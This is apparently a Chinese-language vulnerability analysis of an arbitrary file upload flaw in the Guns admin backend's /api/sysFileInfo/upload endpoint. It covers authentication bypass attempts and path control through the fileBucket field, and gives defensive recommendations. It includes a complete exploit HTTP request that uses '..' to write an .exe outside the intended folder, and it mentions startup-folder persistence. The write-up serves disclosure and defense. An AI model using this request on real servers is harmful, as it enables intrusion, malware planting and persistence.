Guns后台任意文件上传漏洞分析
字数 1086 2025-08-22 12:22:54

Guns后台任意文件上传漏洞分析教学文档

漏洞概述

Guns后台系统存在一个任意文件上传漏洞,攻击者可以利用该漏洞上传恶意文件到服务器,可能导致服务器被控制。该漏洞存在于/api/sysFileInfo/upload接口中。

认证机制分析

认证流程

  1. 系统使用HandlerInterceptor接口实现权限认证,而非传统的WebSecurityConfigurerAdapter
  2. 认证拦截器为TokenAndPermissionInterceptor
  3. 认证流程:
    • 获取请求URI(getRequestURI())
    • 匹配路由是否被拦截
    • 检查是否存在token:
      • 存在token:验证token有效性
      • 不存在token:在resourceServiceApi中查找路由资源并判断是否需要权限验证

认证绕过尝试

  1. 白名单路由绕过
    • 尝试使用../绕过,但会被Spring拦截
    • 尝试使用%2e%2e\绕过,但在Tomcat环境中会直接报错
  2. JWT伪造
    • JWT密钥不是硬编码,没有通用性,无法伪造有效token
  3. 未授权接口利用
    • resourcecache中存在一些未授权接口
    • 这些接口使用@GetResource注释设置requiredLogin = false
    • 但分析后发现这些接口本身没有可利用的漏洞

任意文件上传漏洞分析

漏洞位置

  • 接口路径:/api/sysFileInfo/upload
  • 请求方法:POST

漏洞原理

  1. 文件上传时,系统使用fieldid拼接文件路径
  2. 存在两种控制方式:
    • 控制文件名:则文件夹路径由fieldid决定
    • 控制文件夹:则文件名由fieldid加后缀决定
  3. 文件名或文件夹路径可控,导致任意文件上传

漏洞利用

  1. 示例请求
POST /api/sysFileInfo/upload HTTP/1.1
Host: 192.168.91.130:9000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:127.0) Gecko/20100101 Firefox/127.0
Accept: application/json, text/plain, */*
Accept-Language: zh-CN, zh; q=0.8, zh-TW; q=0.7, zh-HK; q=0.5, en-US; q=0.3, en; q=0.2
Accept-Encoding: gzip, deflate
Referer: http://192.168.91.1:9000/system/structure/user
Authorization: eyJhbGciOiJIUzUxMiJ9.eyJ1c2VySWQiOjEzMzk1NTA0Njc5Mzk2MzkyOTksImFjY291bnQiOiJhZG1pbiIsInV1aWQiOiI1NmQzZjczNy1hNjU1LTRjYzgtODRkNi0xNDdjYTE1M2Y5OGIiLCJyZW1lbWJlck1lIjpmYWxzZSwiZXhwaXJhdGlvbkRhdGUiOjE3MzUxMDM0MDM0ODgsImNhVG9rZW4iOm51bGwsIm90aGVycyI6bnVsbCwic3ViIjoiMTMzOTU1MDQ2NzkzOTYzOTI5OSIsImlhdCI6MTczNDQ5ODYwMywiZXhwIjoxNzM1MTAzNDAzfQ.Ur3bUwltSXWUtIT1OOR4MV4frJeRy_MDEkmYg99F5L2DOx6C4ha_y476dTWMy7gAJZsq5x_2C_VEkWxWv7uHXw
Content-Type: multipart/form-data; boundary=-4047569836919132683218702
Content-Length: 510
Origin: http://192.168.91.130:9000
Connection: close

--4047569836919132683218702
Content-Disposition: form-data; name="file"; filename=".exe"
Content-Type: image/png

1111
--4047569836919132683218702
Content-Disposition: form-data; name="secretFlag"

N
--4047569836919132683218702
Content-Disposition: form-data; name="fileBucket"

..
看到请点击exe备份
--4047569836919132683218702--
  1. 利用场景
    • 钓鱼攻击:上传恶意可执行文件
    • 持久化攻击:如果项目在C盘,可以将恶意文件放入启动项实现持久化

防御建议

  1. 文件上传安全措施

    • 严格校验文件类型,不仅检查Content-Type,还应检查文件内容
    • 限制上传文件扩展名
    • 禁止使用用户可控的路径拼接
    • 将上传文件存储在非web可访问目录
  2. 认证增强

    • 对所有敏感接口实施严格的权限验证
    • 避免使用requiredLogin = false的注解
    • 定期轮换JWT密钥
  3. 其他安全措施

    • 实施WAF防护,拦截恶意文件上传尝试
    • 定期进行安全审计和渗透测试

总结

该漏洞的核心问题在于文件上传路径的可控性,结合认证机制中的某些设计缺陷,导致攻击者可以上传任意文件。修复时应重点关注文件上传路径的生成逻辑和权限验证机制。

Guns后台任意文件上传漏洞分析教学文档 漏洞概述 Guns后台系统存在一个任意文件上传漏洞,攻击者可以利用该漏洞上传恶意文件到服务器,可能导致服务器被控制。该漏洞存在于 /api/sysFileInfo/upload 接口中。 认证机制分析 认证流程 系统使用 HandlerInterceptor 接口实现权限认证,而非传统的 WebSecurityConfigurerAdapter 认证拦截器为 TokenAndPermissionInterceptor 认证流程: 获取请求URI( getRequestURI() ) 匹配路由是否被拦截 检查是否存在token: 存在token:验证token有效性 不存在token:在 resourceServiceApi 中查找路由资源并判断是否需要权限验证 认证绕过尝试 白名单路由绕过 : 尝试使用 ../ 绕过,但会被Spring拦截 尝试使用 %2e%2e\ 绕过,但在Tomcat环境中会直接报错 JWT伪造 : JWT密钥不是硬编码,没有通用性,无法伪造有效token 未授权接口利用 : resourcecache 中存在一些未授权接口 这些接口使用 @GetResource 注释设置 requiredLogin = false 但分析后发现这些接口本身没有可利用的漏洞 任意文件上传漏洞分析 漏洞位置 接口路径: /api/sysFileInfo/upload 请求方法:POST 漏洞原理 文件上传时,系统使用 fieldid 拼接文件路径 存在两种控制方式: 控制文件名:则文件夹路径由 fieldid 决定 控制文件夹:则文件名由 fieldid 加后缀决定 文件名或文件夹路径可控,导致任意文件上传 漏洞利用 示例请求 : 利用场景 : 钓鱼攻击:上传恶意可执行文件 持久化攻击:如果项目在C盘,可以将恶意文件放入启动项实现持久化 防御建议 文件上传安全措施 : 严格校验文件类型,不仅检查Content-Type,还应检查文件内容 限制上传文件扩展名 禁止使用用户可控的路径拼接 将上传文件存储在非web可访问目录 认证增强 : 对所有敏感接口实施严格的权限验证 避免使用 requiredLogin = false 的注解 定期轮换JWT密钥 其他安全措施 : 实施WAF防护,拦截恶意文件上传尝试 定期进行安全审计和渗透测试 总结 该漏洞的核心问题在于文件上传路径的可控性,结合认证机制中的某些设计缺陷,导致攻击者可以上传任意文件。修复时应重点关注文件上传路径的生成逻辑和权限验证机制。